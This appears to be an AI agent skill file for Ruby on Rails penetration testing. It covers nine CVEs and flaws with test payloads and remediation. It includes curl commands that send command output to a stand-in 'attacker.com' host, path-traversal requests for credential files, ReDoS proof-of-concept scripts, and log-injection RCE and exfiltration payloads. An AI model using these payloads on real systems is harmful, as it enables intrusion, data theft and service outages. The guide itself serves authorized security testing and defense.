| name | ruby-rails-pentest |
| description | Ruby on Rails and Ruby application security testing. Use this skill whenever you're pentesting Ruby applications, Rails apps, or need to check for Ruby-specific vulnerabilities like file upload RCE, Active Storage exploits, Rack middleware issues, ReDoS attacks, cookie forgery, or log injection. Trigger this for any Ruby/Rails security assessment, vulnerability research, or when analyzing Gemfile.lock for vulnerable versions. |
Ruby/Rails Pentesting Skill
A comprehensive guide for security testing Ruby on Rails applications and Ruby-based web services.
Quick Reference: Common Vulnerabilities
| Vulnerability | CVE | Affected Versions | Impact |
|---|
| Active Storage Image Transform | CVE-2025-24293 | Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 | RCE |
| Rack::Static LFI | CVE-2025-27610 | Rack < 2.2.13 / 3.0.14 / 3.1.12 | LFI |
| Rack Multipart ReDoS | CVE-2024-25126 | Rack < 3.0.9.1 / 2.2.8.1 | DoS |
| REXML ReDoS | CVE-2024-49761 | REXML < 3.3.9 | DoS |
| CGI Cookie ReDoS | CVE-2025-27219/27220 | CGI < 0.3.5.1 / 0.3.7 / 0.4.2 | DoS |
| googlesign_in Redirect | CVE-2025-57821 | googlesign_in < 1.3.0 | Open Redirect |
1. File Upload to RCE
When to test
- Application allows file uploads
- Upload destination is writable and under
config/
- Rails app with initializers or autoload paths
What to look for
- Upload endpoints that accept
.rb files
- Upload paths under
config/initializers/, config/, or other autoload locations
- Dev/staging builds that copy user files into container images
Testing approach
- Attempt to upload a
.rb file with malicious code
- Target
config/initializers/ directory (classic Rails autoload path)
- Check if uploaded files are executed on app restart
Example payload
system("curl http://attacker.com/shell?data=#{`id`}")
Remediation
- Restrict upload file types to non-executable formats
- Store uploads outside Rails load paths
- Use separate storage (S3, etc.) for user files
2. Active Storage Image Transformation (CVE-2025-24293)
When to test
- Rails app with Active Storage enabled
- Image processing/variant endpoints exist
- User can influence image transformation parameters
Vulnerable pattern
<%= image_tag blob.variant(params[:t] => params[:v]) %>
Testing approach
- Find endpoints accepting variant/processing options
- Fuzz
params[:t] (transformation type) and params[:v] (values)
- Try suspicious ImageMagick operations
- Look for command injection indicators
Test payloads
curl -X POST http://target/variant \
-d 't=strip&v=malicious_option'
curl -X POST http://target/variant \
-d 't=convert&v=png:pipe:/bin/bash -c "curl http://attacker.com/$(id)"'
Detection
- Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick
- User-controlled transformation parameters
Remediation
- Upgrade Rails to patched versions
- Enforce strict allowlists for transformation methods
- Harden ImageMagick policy.xml
3. Rack::Static LFI (CVE-2025-27610)
When to test
- App uses Rack middleware directly or via frameworks
- Static file serving is configured
config.ru or middleware stack visible
Testing approach
- Identify static file paths (assets, favicon, etc.)
- Try encoded path traversal sequences
- Adjust prefix to match configured
urls:
Test payloads
curl http://target/assets/%2e%2e/%2e%2e/config/database.yml
curl http://target/favicon.ico/..%2f..%2f.env
curl http://target/assets/%252e%252e/%252e%252e/etc/passwd
Detection
- Rack < 2.2.13 / 3.0.14 / 3.1.12
Rack::Static middleware with unset/misconfigured :root
- Response contains file contents from traversal
Remediation
- Upgrade Rack to patched version
- Explicitly set
:root to public files directory only
- Use
Rack::Protection middleware
4. Rack Multipart Parser ReDoS (CVE-2024-25126)
When to test
- Any Rack-based stack (Rails/Sinatra/Hanami/Grape)
- POST endpoints accepting multipart/form-data
- Fronted by nginx/haproxy with keep-alive
Testing approach
- Send crafted multipart header with many parameters
- Monitor worker response time
- Repeat in parallel to exhaust workers
PoC script
python3 - <<'PY'
import requests
import time
url = "http://target/"
headers = {
'Content-Type': 'multipart/form-data; ' + 'A='*5000
}
start = time.time()
try:
r = requests.post(url, data='x', headers=headers, timeout=30)
print(f"Response in {time.time()-start:.2f}s")
except requests.exceptions.Timeout:
print(f"Timeout after {time.time()-start:.2f}s - likely vulnerable")
PY
Detection
- Rack < 3.0.9.1 / 2.2.8.1
- Worker hangs or responds slowly to multipart requests
- CPU spikes on request parsing
Remediation
- Upgrade Rack to patched version
- Implement request size limits at proxy level
- Use connection timeouts
5. REXML XML Parser ReDoS (CVE-2024-49761)
When to test
- App processes XML (SOAP, SAML, SVG uploads, XML APIs)
- Ruby 3.1 and earlier
- REXML gem in use
Testing approach
- Find XML processing endpoints
- Send crafted XML with long hex numeric character references
- Monitor CPU and response time
Test payload
curl -X POST http://target/xml \
-H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
Detection
- REXML < 3.3.9
- Process stays busy for seconds
- Worker CPU spikes on XML parsing
Remediation
- Upgrade REXML to 3.3.9+
- Use alternative XML parsers (Nokogiri with safe options)
- Implement XML size limits
6. CGI Cookie Parsing ReDoS (CVE-2025-27219 & CVE-2025-27220)
When to test
- Rack-based apps using
cgi gem
- Cookie handling or HTML escaping
Testing approach
- Send massive Cookie header with thousands of delimiters
- Feed untrusted HTML to helper code
- Monitor for worker lockup
Test payload
python3 -c "print('Cookie: ' + ';'.join(['x=y']*5000))" | \
curl -X POST http://target/ -H @-
Detection
- CGI < 0.3.5.1 / 0.3.7 / 0.4.2
- Worker freezes on cookie parsing
- O(N²) behavior with large inputs
Remediation
- Upgrade CGI gem to patched version
- Implement cookie size limits
- Use alternative parsing libraries
7. Basecamp googlesign_in Open Redirect (CVE-2025-57821)
When to test
- Rails app with Google OAuth
googlesign_in gem in Gemfile.lock
Testing approach
- Check Gemfile.lock for
googlesign_in < 1.3.0
- Try malformed
proceedto parameter values
- Check Location header and cookie reflection
Test payloads
curl -v "http://target/auth/google_oauth2/callback?proceedto=//attacker.com/%2F.."
curl -v "http://target/auth/google_oauth2/callback?proceedto=//attacker.com/"
curl -v "http://target/auth/google_oauth2/callback?proceedto=\\/\\/attacker.com/"
Detection
googlesign_in < 1.3.0 in Gemfile.lock
- Location header redirects to attacker domain
- Flash/session cookies preserved across redirect
Remediation
- Upgrade googlesign_in to 1.3.0+
- Implement strict same-origin validation
- Use secure cookie attributes
8. Rails Cookie Forging (When secret_key_base is Leaked)
When to test
secret_key_base found in repo, logs, or misconfigured credentials
- Rails app with encrypted/signed cookies
- Authorization data stored in cookies
Testing approach
- Extract leaked
secret_key_base
- Decrypt existing cookies
- Modify sensitive fields (role, user_id, permissions)
- Re-encrypt and test
Use the bundled script
Run scripts/forge_rails_cookie.rb to decrypt and forge cookies:
ruby scripts/forge_rails_cookie.rb "<encrypted_cookie>" "<secret_key_base>"
Detection
secret_key_base exposed in source control, logs, or configs
- Cookies contain sensitive authorization data
- App trusts cookies for authorization decisions
Remediation
- Rotate
secret_key_base immediately
- Use server-side sessions instead of cookies
- Implement proper authorization checks
9. Log Injection → RCE via Pathname.cleanpath
When to test
- App logs user input verbatim
- App uses
load with paths derived from user input
Pathname#cleanpath used on user-controlled paths
Vulnerable pattern
logger.info("Running script #{param}")
load "scripts/#{Pathname.new(param).cleanpath}"
Exploitation approach
- Send payload that logs valid Ruby code
- Payload must also resolve to log file path via
cleanpath
- App loads and executes the poisoned log
Test payload
%0A%5D%5B0%5D%3D1%3Bsystem("id")%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
How it works
- Leading newline breaks out of log INFO line
] closes dangling bracket from log format
][0]=1 satisfies Ruby parser
#:// starts comment for Ruby but cleanpath ignores it
- Traversal resolves to log file path
Exfiltration payload
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
Detection
- User input logged verbatim
load called with user-derived paths
Pathname#cleanpath on user input
Remediation
- Sanitize user input before logging
- Never use
load with user-controlled paths
- Use
require with explicit paths instead
Gemfile.lock Analysis
Quick vulnerability check
grep -E "rack\s+|rexml\s+|cgi\s+|googlesign_in\s+" Gemfile.lock
Priority order for testing
- RCE vulnerabilities (Active Storage, file upload, log injection)
- LFI vulnerabilities (Rack::Static)
- DoS vulnerabilities (ReDoS in Rack, REXML, CGI)
- Authentication bypass (cookie forgery, open redirects)
References